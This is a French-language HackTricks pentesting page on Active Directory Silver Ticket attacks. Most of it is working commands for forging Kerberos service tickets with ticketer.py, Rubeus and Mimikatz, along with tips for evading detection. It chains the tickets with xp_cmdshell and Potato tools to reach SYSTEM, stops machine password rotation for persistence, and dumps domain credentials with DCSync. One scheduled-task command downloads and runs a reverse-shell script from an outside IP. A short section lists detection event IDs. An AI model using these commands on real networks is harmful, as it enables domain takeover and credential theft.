Silver Ticket

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Silver ticket

L’attaque Silver Ticket consiste à exploiter des service tickets dans des environnements Active Directory (AD). Cette méthode repose sur l’obtention du NTLM hash d’un service account, par exemple d’un computer account, pour forger un Ticket Granting Service (TGS) ticket. Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques du réseau en usurpant n’importe quel utilisateur, visant typiquement des privilèges administratifs. Il est souligné que l’utilisation de AES keys pour forger les tickets est plus sûre et moins détectable.

Warning

Les Silver Tickets sont moins détectables que les Golden Tickets car ils ne nécessitent que le hash du service account, pas le compte krbtgt. Cependant, ils sont limités au service spécifique qu’ils ciblent. De plus, il suffit parfois de voler le mot de passe d’un utilisateur. Si vous compromettez le mot de passe d’un account avec un SPN, vous pouvez utiliser ce mot de passe pour créer un Silver Ticket usurpant n’importe quel utilisateur auprès de ce service.

Modern Kerberos changes (AES-only domains)

  • Windows updates starting 8 Nov 2022 (KB5021131) default service tickets to AES session keys when possible and are phasing out RC4. DCs are expected to ship with RC4 disabled by default by mid‑2026, so relying on NTLM/RC4 hashes for silver tickets increasingly fails with KRB_AP_ERR_MODIFIED. Always extract AES keys (aes256-cts-hmac-sha1-96 / aes128-cts-hmac-sha1-96) for the target service account.
  • If the service account msDS-SupportedEncryptionTypes is restricted to AES, you must forge with /aes256 or -aesKey; RC4 (/rc4 or -nthash) will not work even if you hold the NTLM hash.
  • gMSA/computer accounts rotate every 30 days; dump the current AES key from LSASS, Secretsdump/NTDS, or DCsync before forging.
  • OPSEC: default ticket lifetime in tools is often 10 years; set realistic durations (e.g., -duration 600 minutes) to avoid detection by abnormal lifetimes.

For ticket crafting, different tools are employed based on the operating system:

Sous Linux

# Forge with AES instead of RC4 (supports gMSA/machine accounts)
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn <SERVICE_PRINCIPAL_NAME> <USER>
# or read key directly from a keytab (useful when only keytab is obtained)
python ticketer.py -keytab service.keytab -spn <SPN> -domain <DOMAIN> -domain-sid <DOMAIN_SID> <USER>

# shorten validity for stealth
python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn cifs/<HOST_FQDN> -duration 480 <USER>

export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Sur Windows

# Using Rubeus to request a service ticket and inject (works when you already have a TGT)
# /ldap option is used to get domain data automatically
rubeus.exe asktgs /user:<USER> [/aes256:<HASH> /aes128:<HASH> /rc4:<HASH>] \
/domain:<DOMAIN> /ldap /service:cifs/<TARGET_FQDN> /ptt /nowrap /printcmd

# Forging the ticket directly with Mimikatz (silver ticket => /service + /target)
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
/aes256:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
# RC4 still works only if the DC and service accept RC4
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
/rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"

# Inject an already forged kirbi
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Le service CIFS est mis en avant comme cible fréquente pour accéder au système de fichiers de la victime, mais d’autres services comme HOST et RPCSS peuvent également être exploités pour les tâches et les requêtes WMI.

Exemple : MSSQL service (MSSQLSvc) + Potato to SYSTEM

Si vous possédez le hash NTLM (ou la clé AES) d’un compte de service SQL (p. ex., sqlsvc), vous pouvez forger un TGS pour le SPN MSSQL et vous faire passer pour n’importe quel utilisateur auprès du service SQL. À partir de là, activez xp_cmdshell pour exécuter des commandes en tant que le compte de service SQL. Si ce jeton possède SeImpersonatePrivilege, enchaînez un Potato pour élever au niveau SYSTEM.

# Forge a silver ticket for MSSQLSvc (AES example)
python ticketer.py -aesKey <SQLSVC_AES256> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache

# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
  • Si le contexte résultant dispose de SeImpersonatePrivilege (souvent le cas pour les service accounts), utilisez une variante de Potato pour obtenir SYSTEM :
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"

Plus de détails sur l’abus de MSSQL et l’activation de xp_cmdshell :

MSSQL AD Abuse

Aperçu des techniques Potato :

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Services disponibles

Type de serviceService Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Selon l’OS, également :

WSMAN

RPCSS

WinRM

HOST

HTTP

Dans certains cas, vous pouvez simplement demander : WINRM

Scheduled TasksHOST
Windows File Share, also psexecCIFS
LDAP operations, included DCSyncLDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Golden Ticketskrbtgt

Avec Rubeus, vous pouvez demander tous ces tickets en utilisant le paramètre :

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Event IDs des Silver tickets

  • 4624 : Connexion de compte
  • 4634 : Déconnexion de compte
  • 4672 : Connexion d’administrateur
  • Aucun 4768/4769 précédent sur le DC pour le même client/service est un indicateur courant qu’un TGS forgé est présenté directement au service.
  • Une durée de vie du ticket anormalement longue ou un type de chiffrement inattendu (RC4 alors que le domaine impose AES) ressortent également dans les données 4769/4624.

Persistance

Pour éviter que les machines ne fassent pivoter leur mot de passe tous les 30 jours, définissez HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1 ou vous pouvez définir HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge sur une valeur supérieure à 30 jours pour indiquer la période de rotation à laquelle le mot de passe de la machine doit être modifié.

Abus des Service tickets

Dans les exemples suivants, imaginons que le ticket ait été récupéré en usurpant le compte administrateur.

CIFS

Avec ce ticket, vous pourrez accéder aux dossiers C$ et ADMIN$ via SMB (s’ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant quelque chose comme :

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Vous pourrez également obtenir un shell sur l’hôte ou exécuter des commandes arbitraires en utilisant psexec:

PsExec/Winexec/ScExec

HÔTE

Avec cette permission, vous pouvez créer des tâches planifiées sur des ordinateurs distants et exécuter des commandes arbitraires :

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Avec ces tickets, vous pouvez exécuter WMI sur la machine victime :

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Find more information about wmiexec in the following page:

WmiExec

HÔTE + WSMAN (WINRM)

Avec un accès winrm à un ordinateur, vous pouvez y accéder et même obtenir un PowerShell :

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Consultez la page suivante pour apprendre d’autres façons de se connecter à un hôte distant en utilisant winrm:

WinRM

Warning

Notez que winrm doit être actif et à l’écoute sur l’ordinateur distant pour y accéder.

LDAP

Avec ce privilège, vous pouvez extraire la base de données du DC en utilisant DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

En savoir plus sur DCSync dans la page suivante :

DCSync

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks